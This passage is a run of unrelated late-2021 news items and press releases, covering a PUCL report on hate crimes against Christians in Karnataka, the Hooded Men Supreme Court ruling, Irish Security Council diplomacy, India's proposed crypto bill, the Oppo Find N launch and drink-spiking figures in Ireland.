need for the spray before and after flowering," Nagaraju said. In the 2021 mango season, the KSMDMCL sold 72.71 tonnes of mangoes through the online portal Karsiri, which received a total of 22,371 orders. As many as 24,239 boxes or 72.71 tonnes of mangoes were sold to 47,740 buyers, with the total sale value amounting to Rs 1.10 crore. Check out DH's latest videos: In a report that warns of the rise of communalism, the People's Union for Civil Liberties (PUCL) has documented a total of 39 incidents of hate crimes against Christian communities in Karnataka in the past 11 months and alleged that the police and MLAs colluded with vigilantes. Titled 'Criminalising the practice of faith', the report identified six patterns of hate crimes ranging from assault on the right to practice religion to casteism and police complicity. It warned that the proposed anti-conversion law will only give carte blanche for excesses by vigilantes. The PUCL named Rashtriya Swayamsevak Sangh, Bajrang Dal, Hindu Jagrana Vedike as the perpetrators of the incidents that allegedly took place in January and November 2021. It said that in two instances of hate crimes in Karwar (October 4) and Mandya (January 5), the local MLAs "were also named as people who supported the police in targeting Christians" and flagged a new organisation named 'Banjara Nigama' that appears to be small but rather violent. Also Read 6 types of hate crimes threatening harmony in Karnataka: Report While the report on 39 incidents is based on calls and visits to pastors across the state, the team said there were several other cases that were neither reported in the media nor could access resources or networks for legal and financial assistance. "In most cases, Christians have been forced to shut down their places of worship and stop assembling for their Sunday prayers. These attacks by Hindutva groups... also rob an entire community of their right to dignity and the right to life," the report said. Further, it accused the police of colluding with Hindutva groups in "almost every instance of mob violence" studied in the report. "The complicit role of police emboldens a culture of intolerance and bigotry...police have become an arm of social segregators strengthening such Hindutva forces," it said. The report traced four shifts in the text of the law that has eroded the freedom of religion laws. First, declaring null and void the marriages for the purpose of conversion and vice versa; Secondly, change of forcible conversion from cognizable to a non-bailable offence. Thirdly, the shifting of burden of proof from a person who sought to convert/converted/abetted conversion that he/she/they did not convert by force/allurement or for marriage. Fourthly, the law has moved from requiring to provide an intimation to the district magistrate regarding conversion to now requiring prior permission along with a declaration of conversion in a prescribed format. Also Read Fact-finding report on communal policing, hate crimes in Dakshina Kannada released The PUCL also slammed media organisations, especially those conducting 'sting operations' as if someone had been caught doing something illegal though the activities are an exercise of fundamental rights. "What gives the channels the power to enter into people's homes and treat them as criminals for practising their religion," the report asked. It demanded the state government implement the Supreme Court directions in the Tahseen S Poonawala Vs Union of India case, regarding cases of mob violence and lynching. The report made a set of recommendations to the state government, police, MLAs, civil society as well as the media. Reacting to the governments statement that those not engaged in illegal conversions need not worry about its new bill, PUCL State President Rajendra VJ questioned the hurry of the government to push for the law. There is a due process in proposing a law. We are presenting 39 cases to show the violations. How can the government, which has the duty to protect its citizens, look away and push for such a law? he asked. The incidents show that the privacy of the people has been violated. Their homes and churches have been invaded and persons assaulted. We believe that justice for this has not come. Parts of similar laws in Gujarat and elsewhere have been stayed by the courts. Given that Its a shame that the government has chosen to push ahead (with the law), said writer Aakar Patel, who accompanied the PUCL team. Watch the latest DH Videos here: The Karnataka High Court on Tuesday directed the state government to accept the recommendation of the Karnataka State Commission for Backward Classes extending backward caste status to Kodavas. The court quashed two government orders, in 2015 and in September 2021, rejecting the recommendations of the Commission. The petition was filed by Codava National Council. The court noted that the recommendation was made after thorough investigation by the expert statutory body twice, first in 2005 and then in 2010. The purpose of the recommendation was to enable the members of the community to avail benefits of reservation under category 3-A. The petitioners counsel cited section 9(2) of the Karnataka State Commission for Backward Classes Act, 1995, saying the advice of the commission shall ordinarily be binding on the government. The government advocate said that since the provision uses the word ordinarily, it is open to the government to accept the advice or not. In justifiable cases, that the government may not accept the advice, is also true; however, for not accepting, it has to offer cogent and compelling reasons; otherwise, as a norm, advice has to be accepted, Justice Krishna S Dixit said adding that an argument to the contrary cannot be sustained without violating the policy content and principal object of the Act. The court also noted that there was a direction issued earlier by the HC in this regard. Government cannot treat advice of a Commission of this stature as being susceptible to the views of another unknown authority; ours is a welfare state and not the East India Company; what bewilders this court is the reiteration of the same stand with the duplication of the text of the order, despite a direction issued by a co-ordinate bench, it said. The government has been directed to file a compliance report to the Registrar General within three months, failing which it has warned of heavy costs. Check out DH's latest videos: Released: November 22, 2021 To All of Our Community Members: The conduct of secure and compliant elections is a primary responsibility of your County government. Over the past three election cycles, the County has taken extraordinary steps to modernize our elections processes, improve transparency and accountability, and provide additional means for you to legally participate in the exercise of democracy. The backbone of these efforts is our exceptional elections team, who have worked tirelessly under the most unusual and adverse of circumstances to protect your right to vote and have your vote counted. Unfortunately, over the past week allegations were raised about improprieties in the Countys election administration. These allegations have evoked a response from the District Attorneys Office stating it will investigate. It is the duty of the District Attorney to pursue all credible complaints, and we will support the DAs efforts to pursue this matter. We are confident that in the end the allegations will be proven to be fabricated and wholly without merit, and that our systems are worthy of your trust. Howard S. Lazarus Executive Director County of Delaware Fears that rail passengers travelling from Derry would have to pay for parking at the North-West Transport Hub have been quashed by Translink. There had been growing concern that those travelling by rail to stations between Derry and Belfast would have to shell out extra money in parking fees on top of their train ticket if they wanted to exercise the 'park and ride' option. However, while charges will be coming in for parking at the North-West Transport Hub on the city's Waterside, these will not apply for anyone with a valid rail ticket. For those who simply want to use the car-park and have no intention of using the Derry to Belfast rail service, charges of 2 per hour and a maximum of 18 per day will be enforced. A Translink spokesperson said: Translink plans to introduce a barrier system for the Park and Ride facility at the North-West Transport Hub in Derry. This is in order to help manage site capacity, prioritising its use for users of sustainable public transport. Rail passengers will still have free access to the car park by simply validating their ticket before leaving the station. People who use the Park and Ride site but are not intending to travel by train will be required to pay for their car parking before leaving the site, at a cost of 2 per hour up to a maximum of 18 per day. Parking charges are also applied at Belfast Lanyon Place Station for anyone using the car park and not travelling by train. Signage will be erected at the North-West Transport Hub stating that the Park and Ride facility will be free for rail users only to deter others from using it. It is planned that this will take effect from January 2022. The daughter of one of the 'Hooded Men' has spoken of her delight at today's Supreme Court verdict that the Police Service of Northern Ireland (PSNI) were wrong not to investigate allegations of torture. Fiona Montgomery, whose father Michael who would in 1973 be elected as a Derry councillor, also said that were he still alive today, he too would also be delighted. Michael Montgomery, along with 13 other men including Michael Donnelly from Derry, was taken by the British army and with their heads covered with hoods subjected to interrogation procedures which have been alleged as being those associated with torture. The PSNI took the case to the Supreme Court having failed in Belfasts court of appeal to overturn a High Court decision that the police should revisit its 2014 decision to end its investigation into how the 'Hooded Men' had been treated. Speaking of the Supreme Court's verdict, Fiona Montgomery said: It's just really emotional because of what we've been through. We are delighted with the decision. I was just contacting my brother in San Francisco to let him know and also my sister in Belfast just to let them know that we are a step closer to getting justice and establishing that they were tortured. My father would have been delighted to have heard this verdict were he still with us today. He never talked to us about what he had been through. Even after all this time the memories are still raw. When I heard on the phone of the verdict it just broke me down it brought it all back. During the early hours of August 9, 1971, Michael returned to his Derry home after a night out with his wife Doris in the Argony Bar in Donegal. Not long after, the RUC Special Branch and the British Army arrived at his house. Similar raids were being carried out across the North under the policy of 'Internment' and Michael was one of many taken away that night. Out of the 1981 people interned, 14 including Michael were selected for 'in-depth interrogation' at an undisclosed place which we now know to be Ballykelly in Co. Derry. Having served as an airfield for the British during World War II, Ballykelly was now a purpose-built interrogation centre. The 'Hooded Men' were subjected to methods known as the five techniques that had been applied in past British army campaigns in Cyprus, Kenya and Aden. Techniques which Fiona believes caused a great deal of stress upon her father which in turn led to his death in December 1984. She added: My father died of a heart-attack aged 48 and I do believe it was the stress of all the torture that they went through. It was only when the enquiry opened that I learnt what had happened to him. When he was taken away, we were told that he was dead and that we would never see him again. Obviously he wasn't and he was let out a few weeks later. We then found out that he was in Ballykelly the whole time. They were tortured with white noise, Because of that, after he came out and was back in the house, we could never turn the hoover on. The washing machine spinning as well and other loud noises would annoy him as well. As well as the white noise, they would put a brush up his back passage they were spread-eagled by their fingertips against the wall. To think he went through all that is heart-breaking. He was a fantastic father he really was. Him and my mother would split up afterwards. I don't think about it unless somebody asks me about it and that's when it breaks me down. But I want to talk about it as I want people to know what happened. Last night I was just going through things in the house and I had his death certificate, his marriage certificate and I found this book on the Hooded Men and I just put it back in the suitcase. Then I hear this news today. I'm just delighted that this decision has been made I really am. Meanwhile, Paul O'Connor from the Pat Finucane Centre in Derry (PFC), said the verdict put paid to aspersions that both the PFC and TV broadcaster RTE had 'colluded' to 'falsify' claims against the British State. An RTE documentary shown in 2014, The Torture Files, uncovered a memo from Merlyn Rees who as Secretary of State for Northern Ireland under the Labour government of 1974-1979, wrote in a memo in 1975 that the decision to use methods of torture in Northern Ireland in 1971/72 was taken by Ministers - in particular Lord Carrington, then Secretary of State for Defence. At a subsequent Policing Board meeting, the PSNI said it would seek to confirm or clarify the documents contents. An investigator from Historical Enquiries Team (HET) reported back that I did not discover any documentation which linked Lord Carrington to matters of torture. The Supreme Court concluded that his conclusions were seriously flawed for two reasons. First, because he had only looked for documents which explicitly authorised the use of the word torture. The Supreme Court held that to expect the authorisation of torture to be described so explicitly was unrealistic. Mr O'Connor from the Pat Finucane Centre in Derry said: The Court was very critical of the fact that when the PSNI sought copies of the documents that appeared in the RTE programme and couldn't find them, they then made inferences about the programme maker and about the PFC's relationship with RTE. Those inferences were baseless as the Court has found and this said something about the bias of the investigation carried out in the wake of the RTE programme. We found some documents that showed that the men had been held at Ballykelly which hadn't been known and that a doctor had thought that one of the men (Sean McKenna of Newry) who died of a heart-attack soon after, should not have been interrogated. We gave those to RTE and they then did their own digging and found the memo from Mervyn (then-Secretary of State for Northern Ireland) saying that it was torture. When someone was sent to the National Archives to look for that memo and couldn't find it, they then made all kinds of allegations about what was happening. Suggestions that this was made up and aspersions were cast upon RTE and ourselves about collusion simply because Gerry Adams put a tweet about it (on Twitter). It was really mad stuff. It's kind of the anatomy of a cover-up, but not a clever one. In response to the ruling from the Supreme Court, Assistant Chief Constable Jonathan Roberts said: The Police Service of Northern Ireland acknowledges todays judgment of the UK Supreme Court and welcomes the clarity it brings to some complex legal issues. Assistant Chief Constable of the PSNI, Jonathan Roberts said: "We must find a way of dealing with our past and we are committed to playing our part in that process." We recognise the difficult realities that victims, families, friends and broader society continue to deal with as a result of our troubled past. We will now take time to study todays judgment around these complex legacy issues in detail and we will carefully consider its implications for future legacy investigations. If we are to build a safe, confident and peaceful society, then we must find a way of dealing with our past and we are committed to playing our part in that process. A United Kingdom Government spokesman added: We will take time to carefully consider the Supreme Court's judgment and its conclusions. Access to information and accountability, via a thorough and robust investigative process, is absolutely vital to victims and survivors, and their families. That is why obtaining information supported by full disclosure by the State is the cornerstone of the proposals the UK Government has put forward to address the legacy of Northern Irelands past. The Governments proposals do not propose the prohibition of investigations into Troubles-related incidents. In fact, the proposals would establish a new independent body to conduct investigations into Troubles-related deaths and cases of very serious injury, for the purposes of information recovery. Minister Simon Coveney welcomes second Ireland-Nordic-Baltic 8 conference Press release On Wednesday 15th December, the Department of Foreign Affairs and the Embassies of the Nordic-Baltic states accredited to Dublin will host the second Ireland-Nordic-Baltic 8 conference. This conference will take place virtually and will be live streamed on Ireland.ie/NB8conference and on the Department of Foreign Affairs YouTube channel, commencing at 09:30 a.m. Welcoming the event, Minister for Foreign Affairs Simon Coveney T.D. said; I am delighted to see experts from Ireland and the Nordic-Baltic states exchanging knowledge and sharing new ideas on the energy transition. This is exactly the kind of focused and practical co-operation I envisaged when I brought the Global Ireland Strategy for the Nordic region to Cabinet earlier this year. This years conference will be on the subject of Advancing Energy Transition while Ensuring Energy Security. The conference will commence with introductory remarks by the Minister for Foreign Affairs and Minister for Defence, Simon Coveney, T.D. This initiative will feature the Minister for European Affairs, Thomas Byrne, T.D. , the Lithuanian Vice-Minister for Energy, Albinas Zananavicius, and a panel of experts from across the Nordic-Baltic region. Noelle OConnell, CEO of European Movement Ireland will moderate the conference. The panel will address how Europe can adapt its energy mix to support the ambitious emissions reduction targets set out in the European Green Deal while ensuring that that citizens and businesses can rely on a secure and stable supply of energy. ENDS Note for Editors The participants in the conference are: Moderator Noelle OConnell CEO, European Movement Ireland Panellists Kevin ODonovan Senior Vice-President, Statkraft Jukka Leskela Managing Director, Finnish Energy Saulius Simanauskas - International Cooperation Group, Ministry of Energy of the Republic of Lithuania Stephanie Bouckaert - Head of Demand Sectors Unit, IEA Previous Item | Next Item Joint statement at UNGA 76 Plenary Session with President of the Human Rights Council Statement Chair, I have the honor to deliver this statement on behalf of Australia, Austria, Belgium, Bulgaria, Canada, Croatia, Czech Republic, Denmark, Estonia, Finland, France, Germany, Hungary, Iceland, Ireland, Italy, Japan, Latvia, Liechtenstein, Lithuania, Luxembourg, Malta, Marshall Islands, Micronesia, Montenegro, New Zealand, North Macedonia, Norway, Portugal, Romania, San Marino, Slovakia, Slovenia, Sweden, Switzerland, the United States and my own country the Kingdom of the Netherlands. President Khan, The human rights situation in Yemen is dire. The fourth report by the UN Group of Eminent International and Regional Experts on Yemen outlines a litany of human rights violations and abuses, and violations of international humanitarian law by parties to the conflict including those involving indiscriminate and disproportionate airstrikes and shelling, attacks on medical facilities and schools, failing to abide by international humanitarian law principles, humanitarian restrictions such as obstacles to access to food and healthcare, arbitrary detention, enforced disappearances, gender-based violence, including sexual violence, torture, denial of fair trial rights, persecution of and violations and abuses against journalists, human rights defenders, persons belonging to minorities, migrants, internally displaced persons and shocking violations and abuses of children's rights in the period July 2020 to June 2021. In 2017, the UN Group of Eminent International and Regional Experts on Yemen was mandated to examine alleged violations and abuses of international human rights. We deeply regret that this mandate was not extended in the last session of the Human Rights Council. As the conflict in Yemen enters its seventh year, there continues to be an urgent need for independent and impartial monitoring and investigations into all alleged violations of international humanitarian law and international human rights law, and human rights abuses, by parties to the conflict. It remains vitally important to identify and use all opportunities within the UN-system to assess facts on the ground in an impartial manner, and work towards accountability and a just and inclusive peace for the people of Yemen. It is imperative that the international community comes together to actively explore further alternative mechanisms to monitor the human rights situation in Yemen and ensure accountability. Together we must end impunity. President Khan, What role do you see for the Human Rights Council to ensure human rights monitoring and accountability on behalf of the people of Yemen, now that the mandate of the Group of Eminent International and Regional Experts has ended? Thank you. Previous Item | Next Item Minister Coveney's address to the IIEA: Reflecting on Irelands first year on the Security Council Speech In January, I spoke at an IIEA event shortly after we took up our seat as an elected member of the Security Council. I set out the principles and priorities for our term. And so it is a pleasure to return to the IIEA today, albeit virtually, to update you on our work on the Council since then and to look to our plans for the year ahead. The timing of your event is fitting. Yesterday was the 66th anniversary of Ireland joining the United Nations in 1955. The UN has been very much at the heart of Irish foreign policy since then. We have been an active and committed member - not least through the remarkable service of members of our Defence Forces in peacekeeping operations for more than 60 years, uninterrupted. This commitment to the UN is a matter of both values and of interests; as a small country, Ireland depends on international law and a values-based, strong multilateral system to uphold our own sovereignty. We ran for election to the Security Council because the Council, despite its shortcomings, and it does have shortcomings, continues to perform a crucial function at the centre of that multilateral system. Since taking up our seat, we have played, I hope, a constructive role, bringing pragmatism and principle to the Council table. This has not been easy and it has not been without frustrations. There have been many times when we would have liked the Council to do a lot more, and to speak out more bluntly and more clearly. Progress on the Council is slow and incremental. Sometimes, it is much too slow and much too incremental. But we have seen success also. Through patient and painstaking diplomacy, at times, we have delivered results that are making a critical difference to ordinary civilians, often very vulnerable people, caught up in conflict. That is the fundamental reason why we competed for the Security Council in the first place. Nowhere has this been more true than in relation to Syria. Earlier this year, Ireland and Norway successfully led negotiations on the renewal of the critical Syria humanitarian cross-border resolution. It ensured that life-saving humanitarian aid was able to continue to reach 3.4 million Syrian men, women and children in the northwest of the country. The 12-month renewal in July was supported by all Council members. I think it is worth noting that was the first time in 5 years that the Council unanimously renewed the resolution. We will continue to prioritise this in the months ahead, working to ensure that humanitarian aid can reach all those in need across Syria. We are more than aware that humanitarian aid will not solve the deep divisions or address accountability and the need for political transition in Syria. But it is essential to limit suffering among the Syrian people, and we will also keep on the pressure for a just and sustainable solution to the horrors perpetrated on people there. When we were elected to the Council last year, we certainly did not expect Ethiopia to be at the centre of our work. But the deteriorating conflict, and the immense human suffering that it has wrought, has compelled Ireland to act. We have been clear and vocal, and at times in the spotlight on this issue. We have worked hard since the start of the year to ensure that the Security Councils attention has remained on Ethiopia, and on the catastrophic humanitarian and human rights situation there. There are more than 6 million people under threat of famine right now. We have convened public and private meetings on the issue, lobbied for engagement by the UN Secretary-General and the African Union, and secured the Councils agreement to two separate Statements. I have personally spoken to the Secretary General on a number of occasions on the issue, as well as to President Kenyatta in Kenya, Secretary of State Blinken and other regional and international leaders. Working in close cooperation with African partners and others, we have ensured that the Council has united in calling for a cessation of hostilities and of course full humanitarian access for those who need it. However, the conflict in Ethiopia continues; and our work on the Council will also continue. Irelands partnership with Ethiopia is longstanding. In 1936, it was Ireland, as chair of the League of Nations, which defended the independence, sovereignty and territorial integrity of what was then Abyssinia, in the face of an invasion by Mussolinis forces. We have worked in friendship and partnership with the people of Ethiopia for many years, supporting their social and economic development. We opened an Embassy in Addis Ababa in 1994. Ethiopia has been our largest bilateral development partner in recent years. So I very much regret the decision recently by the Ethiopian government to reduce the number of diplomats in our Embassy by two thirds. We had six diplomats there, they have effectively asked four of those to leave. However, Irelands commitment to, and friendship with, the people of Ethiopia remains steadfast. It is rooted in the principles which informed us 85 years ago and which continue to inform us today. Our relationship with Ethiopia is one of a network of deep and long-standing partnerships with countries in Africa that have informed our work on the Council. We have prioritised engagement with African partners on the Council, and consistently supported strengthened cooperation with the African Union. The AU and regional organisations in Africa have an instrumental role in responding to crises and of course building lasting peace. We have worked in close partnership with Niger to support the UN Office for West Africa and the Sahels work on conflict prevention, democracy and human rights, and on the issues of Hunger and Conflict and Climate and Security. Much of our work with African partners has had women, peace and security at its core. We know from our own experience on this island that peace must be inclusive if it is to be sustainable. Women must have a place at the table, and participate fully and equally in decision making. During our Presidency of the Security Council in September, we brought 16 women civil society briefers to the Council table. That was a record, by the way, in terms of womens participation. This reflected our belief that if the Security Council is not hearing directly from those most affected by conflict and those most likely to drive lasting change it is not doing its job properly. As co-chairs with Mexico of the Councils Informal Expert Group on Women, Peace and Security, we have worked to turn principles into practice. We try every day quietly, without fanfare, but on file after file to integrate the Women, Peace and Security agenda into the Councils work. We established the first WPS Presidency Trio with Kenya and Mexico, acting together in a cross-regional alliance to help close the gap between rhetoric and reality. This made WPS a concrete and tangible priority during three consecutive Security Council Presidencies in September, October and again in November. Our commitment to the Women, Peace and Security agenda was central to our response to events in Afghanistan. As the crisis there escalated so quickly and so tragically in the summer, Ireland ensured that the crucial issue of the fundamental rights of women and girls was central to the Councils actions. We convened meetings on the crisis facing Afghan women, speaking out to focus the worlds attention on the specific risks facing them. We ensured that the situation facing them was addressed in the Security Council resolution renewing the mandate of the UN Mission in Afghanistan. I chaired a debate on Afghanistan during Irelands Presidency of the Security Council in September and invited civil society briefers, Wazhma Frogh and Malala Yousafzai, to participate. They gave powerful testimony of the devastating impacts of the current crisis on the Afghan people. When Ireland held the Presidency of the Security Council in September, our primary responsibility was to manage the agenda for that month as you would expect. We steered the Council through complex discussions on a range of important and urgent issues, including Afghanistan, Libya, Sudan, South Sudan, Syria, Yemen and of course the Middle East Peace Process. The Presidency also presented an important opportunity to advance our own priorities. We convened three high-level signature meetings over the course of that month. The first of these took place on 8 September, when Ireland chaired an Open Debate of the Security Council on peacekeeping operations. Within three years of Ireland joining the UN in 1955, our peacekeepers had commenced what is today the longest continuous UN service of any member state when it comes to peacekeeping. Our support for peacekeeping extends beyond deployments. Strengthening UN peacekeeping operations has been at the heart of our efforts on the Security Council and it was an honour for me to chair the Council meeting on 9 September, when UN Security Council Resolution 2594 on peacekeeping transitions was unanimously adopted. Led by Ireland, this resolution recognises that peace is not a moment in time, but a process. It highlights that the transition from peacekeeping operations to peacebuilding programmes must be responsive to conditions on the ground, and inclusive of the views of local communities. Resolution 2594 was just the second Security Council resolution on which Ireland has led the negotiations in our history on the Council. More importantly, it provides a framework and set of principles that will endure long beyond our Council term. It will guide UN missions, current and in the future, for years to come, as they make the challenging, but essential, transition from peacekeeping to peacebuilding. Our second signature Presidency event took place on the 23 of September, when the Taoiseach chaired a High-Level meeting on Climate and Security. This meeting brought together Heads of State and Government from across the Council, as well as the UN Secretary-General, to discuss the linkages between climate change and security and conflict. At that meeting, the Taoiseach announced Irelands intention, along with Niger, to convene discussions with all Council members, on a thematic resolution on Climate and Security. Our teams in New York and Dublin have worked tirelessly in the two months since that meeting to craft a resolution that could garner maximum support from Council members and from the wider UN membership. As some of you will know, 113 UN Member States ultimately formally co-sponsored that draft resolution. On Monday, twelve Council members voted in favour of the resolution. India voted against and China abstained. Russia decided to use its veto to prevent the resolution being adopted. Let me be clear. The veto is an anachronism. No Member State, no matter how powerful, how large, should be able to override the will of the vast majority of Council members and the large majority of UN Members. Ireland regrets the use of the veto in all circumstances at the Council. We deeply regret the decision of Russia to use its veto to block the adoption of this important resolution. We believed over the last year that the weight of evidence and clarity of argument would bring the Council to consensus. However, despite months of consultations - resulting in a draft resolution that was relatively modest in its scope, but clear in its ambition to put climate and security firmly on the Councils agenda - this was sadly not the case. Despite this result earlier this week, climate and security will inevitably continue in Security Council discussions. The adverse effects of climate change are only going to get worse, contributing to insecurity and exacerbating conflict. Anybody who suggests that climate change is not an accelerator of tensions and conflict, in my view, is not realistic in terms of their understanding of the impacts of climate change. As our Ambassador in New York put it, we remain undaunted. Ireland will continue to press for a robust approach to Climate and Security for the remainder of our time on the Security Council. Nuclear disarmament is another long-standing priority for Ireland, since the early days of our membership of the UN. Our third signature event during our Council Presidency marked the 25th anniversary of the Comprehensive Test Ban Treaty. We have also taken on one of the most difficult roles on the Council as Facilitator for the Iran nuclear non-proliferation deal, the JCPOA. This is an agreement that is of the utmost importance to regional and international peace and security. I visited Tehran in March this year the first Irish foreign minister, by the way, to do so for 20 years and I hosted the former Iranian Foreign Minister in Dublin last May. I believe it is incumbent on Ireland to do everything possible to persuade all parties to return to full compliance with the JCPOA. Make no mistake this is an enormously difficult task. And while I am encouraged that the talks in Vienna started again in late November, we need to see real progress on this and we need to see it fast. It has been a busy year more generally. I have addressed the Security Council, virtually and in person, on 16 different occasions. President Higgins, the Taoiseach, Minister Ryan, Minister of State Brophy and Minister of State Byrne have all participated in different Council meetings at different times. Our teams in New York, Dublin and across our Mission network have worked tirelessly and other government departments have supported us throughout. We have benefitted in particular from the insight, and the day-to-day experience, of the Defence Forces, as we have worked to shape the mandates given to UN peacekeeping operations by the Council. And if ever there was a reminder of the connection between the Department of Foreign Affairs and the Department of Defence I think our time on the Security Council has confirmed that. That work will continue. As we enter the second half of our tenure on the Council, we will be guided by the principles that the Government agreed at the start of our term: building peace, strengthening conflict prevention, and ensuring accountability. The promotion and protection of International Human Rights Law and International Humanitarian Law has been integral to our approach across the Security Council agenda. This will remain, of course, the case for next year. We will continue to play an active role on issues across the Councils agenda. Amongst these issues, the Middle East Peace Process is foremost in my mind. As you are aware, there are divergent views on this issue among Security Council members. It is vital that we continue to use our seat on the Council productively, engaging with like-minded partners as well as those holding differing views so that we can try to build consensus on a way forward. Speaking to the Council in May, I made it clear that the Council had a collective responsibility to speak out in response to the escalation of violence. We will continue to insist on the need for a negotiated two-state solution, adherence to international law and respect for human rights. This may seem like a dim prospect for now, but we have simply no other option but to continue to advocate in this space. We cannot allow expediency or international fatigue to replace the fundamental need to end the occupation that began in 1967; to meet Israeli and Palestinian security needs; and to deliver the aspirations of the Palestinian people for statehood and sovereignty, while of course respecting the right of Israel to defend itself and protect its own state. The deteriorating situation in Myanmar is also deeply concerning. It is almost a year since the coup began. We will continue to use our seat on the Council to call for unhindered humanitarian access and full respect of human rights and international humanitarian law. Ireland has a history of engagement on peace in Colombia. We have focused on work on the Council to promote a lasting and just peace, as you would expect, ensuring that victims and vulnerable groups continue to be placed at the centre of the peace process there, and, of course, to support the work of the UN Verification Mission. These efforts will continue throughout the rest of our term. Libya is due to hold elections on the 24th of December, despite the fact that many predicted they wouldnt happen and it is a pivotal moment in the Libyan Peace Process. The UN is playing a central role in supporting the political process and ceasefire implementation. We will continue on the Council to support the Libyan people on their challenging path to a sustainable and lasting peace. And on Afghanistan, we are working with partners on the Council and elsewhere, to avert a humanitarian catastrophe. We are closely involved in ongoing Council negotiations with a view to securing humanitarian exemptions to the Taliban sanctions regime, which should help to ensure the direct provision of aid to the Afghan people via UN agencies and NGOs. But lets be in no doubt about the task here, as credible reports are now predicting that up to 23 million people could face challenging famine-like conditions in the winter months ahead. We are matching our words with action. We have substantially increased our own humanitarian aid to UN agencies and NGOs working in Afghanistan. More than 500 vulnerable and at-risk Afghans have been offered refugee resettlement status in Ireland and almost 400 have arrived. They include journalists; human rights defenders, particularly women; judges; members of minority ethnic communities; and members of the LGBTI community. The composition of the Council will change next year, and we have been meeting and speaking with the five incoming elected members - Albania, Brazil, Gabon, Ghana and the United Arab Emirates. As with other elected and permanent members, we will engage openly and constructively with all of them. The Council has a responsibility to fulfil its mandate, and to reach agreement on even the most difficult of issues on its agenda. Thats not easy, and it sometimes requires painful compromise, but it is worth it. In the words of Dag Hammarskjold, who as Secretary-General admitted Ireland to the UN, and first called on our peacekeepers to serve, he said: The UN was not created in order to bring us to heaven, but to save us from hell. I am proud of what we have achieved in our first year on the Security Council, and I am determined that we will build on our achievements and do, I hope, even more next year. I look forward to hearing your views and comments and to answering your questions. I know we have a very well informed audience here so hopefully I can giveyou straight answers to straight questions and obviously respond to your comments as well. Thank you for taking the time to listen and I look forward to hearing what you have to say. Previous Item | The government is of the opinion that some aspects of the bill need more deliberation, discussions, and comments from the public The Indian government is working on a new bill to regulate the crypto industry in India. This bill was expected to be tabled in the lower house of the parliament during the winter session. However, ahead of the tabling of this proposed bill, reports now claim that the bill has been delayed by several weeks, with the government not looking to table it in the winter session anymore. As per a report by The Economic Times, the government is thinking of changes to the proposed legislations framework, which would mean the Cryptocurrency and Regulation of Official Digital Currency Bill, 2021, will now be tabled in the next session of the parliament. The government is of the opinion that some aspects of the bill need more deliberation, discussions, and comments from the public. These include the government bringing in a Central Bank Digital Currency (CBDC) which will be recognised under the RBI Act. Another reason for this is the government's belief that the new law for cryptocurrencies needs to be in line with a global framework which is still a work in progress. Indian government working on a new crypto bill Earlier, reports had suggested that this bill would ban the use of cryptocurrencies as a method of payment in the country, and will also bring in stringent punishments for those who go against the regulations proposed in the bill. The bill, as per the report, would allow the authorities to arrest individuals without a warrant and hold them without bail. According to the summary of the bill accessed by Reuters, the government is making plans of "general prohibition on all activities by any individual on mining, generating, holding, selling, (or) dealing" in digital currencies as a "medium of exchange, store of value and a unit of account". The report further states that flouting any of these rules would be "cognizable", thereby opening the door to non-bailable arrests without a warrant. Also Read: Crypto bill could propose arrest without warrant for violation of new laws: Report For now, the Oppo Find N will be available only in China. The 8GB RAM and 256GB storage option has been priced at CNY 7699. On the second day of its Inno Day event being held in Shenzhen, China, Oppo launched its first mainstream foldable phone, the Find N, which is more compact and affordable as compared to the Samsung Galaxy Z Fold 3. The major chunk of the launch event covered foldable use cases and in convincing users and media personnel that how the form factor is now a necessary next step in smartphone evolution. Oppo Find N Price and availability For now, the Oppo Find N will be available only in China. The 8GB RAM and 256GB storage option has been priced at CNY 7699 (roughly $1200) and the 12GB RAM and 512GB storage option will retail for CNY 8999 (or roughly $1400). Oppo Find N Specifications To start with, Oppo Find N has a 5.49-inch cover display (1972 x 988) and unfolds to reveal a bigger 7.1-inch LTPO screen (1792 x 1920) with a 120Hz variable refresh rate display. Sticking to the 18:9 aspect ratio for the cover display ensures that the primary screen wont feel odd to consumers, but it also means that the phone will be a tad wider than the Galaxy ZFold 3 in its folded state. The 7.1-inch size offers 60 per cent more visual area than a regular 6.7-inch display phone. Oppo studied the sound of limousine door closing in order to achieve a gratifying folding snap for users The gapless hinge that can fold halfway has been designed to create a water-drop-like fold in order to minimize the crease (similar to hinges used by Motorola and Huawei). Oppo says the bulk of their R&D effort over 4 years went into perfecting this hinge and claims that it successfully made the crease notably less intrusive than the competition. The foldable screen has a layer of ultra-thin glass that can withstand 200,000 folds. On the software side of things, there are convenient ways to split-screen, make app pair and to multi-task. The Oppo Find N weighs 275g in heft and is 15.9 mm in thickness when folded. Snapdragon 888 octa-core chipset paired with 12GB LPDDR5 RAM and 512GB UFS 3.1 storage. The phone houses a 4500mAh battery that supports 33W fast charging and 15W wireless charging. As for optics, the primary camera is a 50MP Sony IMX766 sensor and its assisted by a 16MP ultra-wide and 13MP telephoto camera. Apart from Find N, Oppo also introduced MariSilicon X ISP and Air Glass. The Air Glass can display useful information directly in front of your eyes. It comprises of two components, an oppo-designed frame that houses components like Snapdragon Wear 4100 Platform chipset and a snap-on monocular waveguide and Spark Micro Projector that uses micro-LED technology to project information through the five-element glass lenses. Some advertised use cases include teleprompter, real-time translations, weather information, GPS Navigation, and checking your phone notifications with a nod of your head. Also Read: Upcoming Oppo foldable phone spotted on Geekbench with Snapdragon 888 Middle of Six Clark Middle of Six, a marketing consultancy specializing in construction, architecture, and engineering, hired Abigail Clark as a graphic designer. Clark is a recent graduate of California Polytechnic State University, San Luis Obispo, with a Bachelor of Science in Graphic Communication and a concentration in Design Reproduction Technology. Clark's experience includes three years as a graphic designer for the Orfalea College of Business Graduate Programs where she contributed to the school's rebranding initiative and created all new marketing materials for the department. Subscriber content preview SEATTLE Alder Flats, at 220 10th Ave. , sold for $18.5 million, according to King County records. The seller was 220 10th Ave LLC, associated with developer Johnson Carr, which acquired the land in 2011 for almost $1 million, then put up the building. . . . Figures have revealed that more than half of spiking incidents this year involved people being injected with a needle. Minister for Justice Helen McEntee said that of the 46 spiking incidents reported to Gardai, 25 involved needles or syringes. Minister McEntee confirmed the numbers while launching an awareness campaign about the dangers of spiking and what to look out for. She urged people to report any incidents of spiking to Gardai. The first part of a new @TheUSI campaign in response to drink and needling spiking has been launched today, with the backing of @SimonHarrisTD, @HMcEntee & An Gardai Siochana Get the full information here https://t.co/r8vFY0zrlY pic.twitter.com/hx6g9g3jiS Union of Students in Ireland (@TheUSI) December 15, 2021 The Fine Gael TD said that everyone is entitled to a night out without having to watch their drinks. There were 46 incidents reported 